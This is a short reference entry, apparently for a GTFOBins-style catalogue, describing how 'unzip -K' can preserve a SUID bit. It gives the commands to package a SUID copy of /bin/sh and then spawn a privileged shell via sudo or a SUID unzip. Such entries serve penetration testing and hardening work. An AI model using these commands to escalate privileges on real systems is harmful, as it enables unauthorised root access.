+description: |
+  Certain `unzip` versions allows to preserve the SUID bit. Prepare an archive beforehand with the following commands as root:
+
+  ```
+  cp /bin/sh .
+  chmod +s sh
+  zip shell.zip sh
+  ```
+
+  Extract it on the target, then run the SUID shell as usual (omitting the `-p` where appropriate).
+functions:
+  sudo:
+    - code: |
+        sudo unzip -K shell.zip
+        ./sh -p
+  suid:
+    - code: |
+        ./unzip -K shell.zip
+        ./sh -p
